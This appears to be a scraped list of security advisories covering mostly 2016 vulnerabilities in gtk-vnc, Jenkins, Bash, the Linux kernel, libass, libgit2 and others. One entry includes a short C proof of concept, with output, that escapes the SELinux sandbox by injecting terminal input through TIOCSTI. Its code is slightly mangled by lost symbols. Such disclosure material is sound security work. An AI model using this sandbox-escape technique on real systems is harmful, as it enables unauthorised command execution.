Potential SQL injection in ORDER and GROUP statements of ZendDbSelect

Last updated 25 August 2025

Last updated 25 August 2025

Last updated 25 August 2025

It was found that vncconnectionservermessage() and vnccolormapset() functions do not check for integer overflow properly, leading to a malicious server being able to overwrite parts of the client memory, possibly leading to remote code execution under privileges of user running the VNC client.

Upstream bug:

https://bugzilla.gnome.org/showbug.cgi?id=778050

Upstream patch:

https://git.gnome.org/browse/gtk-vnc/commit/?id=c8583fd3783c5b811590

A heap-buffer overflow vulnerability was discovered in cryptopp. This vulnerability can be used to remotely gain access to shell.

References:

http://seclists.org/oss-sec/2016/q4/760 https://pony7.fr/ctf:public:32c3:cryptmsg

Upstream bug:

https://github.com/dlitz/pycrypto/issues/176

The remoting module in Jenkins before 2.32 and LTS before 2.19.3 allows remote attackers to execute arbitrary code via a crafted serialized Java object, which triggers an LDAP query to a third-party server.

The (1) order and (2) group methods in ZendDbSelect in the Zend Framework before 1.12.20 might allow remote attackers to conduct SQL injection attacks by leveraging failure to remove comments from an SQL statement before validation.

Hi,

When executing a program via the SELinux sandbox, the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing an attacker to escape the sandbox.

$ cat test.c #include <unistd.h> #include <sys/ioctl.h>

int main() { char cmd = "id\n"; while(cmd) ioctl(0, TIOCSTI, cmd++); execlp("/bin/id", "id", NULL); }

$ gcc test.c -o test $ /bin/sandbox ./test id uid=1000 gid=1000 groups=1000 context=unconfinedu:unconfinedr:sandboxt:s0:c47,c176 [saken@ghetto ~]$ id <------ did not type this uid=1000(saken) gid=1000(saken) groups=1000(saken) context=unconfinedu:unconfinedr:unconfinedt:s0-s0:c0.c1023

This is similar to CVE-2016-2568, CVE-2016-2779, etc.

Thanks, Federico Bento.

Bash before 4.4 allows local users to execute arbitrary commands with root privileges via crafted SHELLOPTS and PS4 environment variables.

A race condition was found in the way Linux kernel's memory subsystem handled breakage of the read only private mappings COW situation on write access.

An unprivileged local user could use this flaw to gain write access to otherwise read only memory mappings and thus increase their privileges on the system.

Red Hat is aware of this issue and if you have questions about the affectedness of your system please contact Red Hat Support. For additional information see https://access.redhat.com/security/vulnerabilities/2706661

gtk-vnc before 0.7.0 does not properly check boundaries of subrectangle-containing tiles, which allows remote servers to execute arbitrary code via the src x, y coordinates in a crafted (1) rre, (2) hextile, or (3) copyrect tile.

ark before 16.12.1 might allow remote attackers to execute arbitrary code via an executable in an archive, related to associated applications.

Libass released a new 0.13.4 version which fixes multiple issues. CVE-2016-7971 remains unfixed for now.

CVE-2016-7969 upstream patch:

https://github.com/libass/libass/pull/240/commits/b72b283b936a600c730e00875d7d067bded3fc26

CVE-2016-7970 upstream patch:

https://github.com/libass/libass/pull/240/commits/08e754612019ed84d1db0d1fc4f5798248decd75

CVE-2016-7972 upstream patch:

https://github.com/libass/libass/pull/240/commits/aa54e0b59200a994d50a346b5d7ac818ebcf2d4b

External References:

https://github.com/libass/libass/releases/tag/0.13.4

Last updated 25 August 2025

The checkallocations function in libass/assshaper.c in libass before 0.13.4 allows remote attackers to cause a denial of service (memory allocation failure) via unspecified vectors.

Buffer overflow in the calccoeff function in libass/assblur.c in libass before 0.13.4 allows remote attackers to cause a denial of service via unspecified vectors.

slock allows attackers to bypass the screen lock via vectors involving an invalid password hash, which triggers a NULL pointer dereference and crash.

regex.c in GNU ed before 1.14.1 allows attackers to cause a denial of service (crash) via a malformed command, which triggers an invalid free.

Integer overflow in the jsregcomp function in regexp.c in Artifex Software, Inc. MuJS before commit b6de34ac6d8bb7dd5461c57940acfbd3ee7fd93e allows attackers to cause a denial of service (application crash) via a crafted regular expression.

In MIT Kerberos 5 (aka krb5) 1.7 and later, an authenticated attacker can cause a KDC assertion failure by sending invalid S4U2Self or S4U2Proxy requests.

The jpcdecprocesssiz function in libjasper/jpc/jpcdec.c in JasPer before 1.900.4 allows remote attackers to cause a denial of service (divide-by-zero error and application crash) via a crafted YRsiz value in a BMP image to the imginfo command.

Divide by zero vulnerability was found in jpcdecprocesssiz triggered by invoking imginfo command on specially crafted file.

Upstream patch:

https://github.com/mdadams/jasper/commit/d8c2604cd438c41ec72aff52c16ebd8183068020

CVE assignment:

http://www.openwall.com/lists/oss-security/2016/10/16/14

tiffttopnm in netpbm 10.47.63 does not properly use the libtiff TIFFRGBAImageGet function, which allows remote attackers to cause a denial of service (out-of-bounds read and write) via a crafted tiff image file, related to transposing width and height values.

CVE-2016-8568

Read out-of-bounds in gitoidnfmt: https://github.com/libgit2/libgit2/issues/3936

CVE-2016-8569

DoS using a null pointer dereference in gitcommitmessage: https://github.com/libgit2/libgit2/issues/3937

Proposed patch:

https://github.com/libgit2/libgit2/pull/3956

The gitoidnfmt function in commit.c in libgit2 before 0.24.3 allows remote attackers to cause a denial of service (NULL pointer dereference) via a cat-file command with a crafted object file.

Multiple integer overflows in libwebp allows attackers to have unspecified impact via unknown vectors.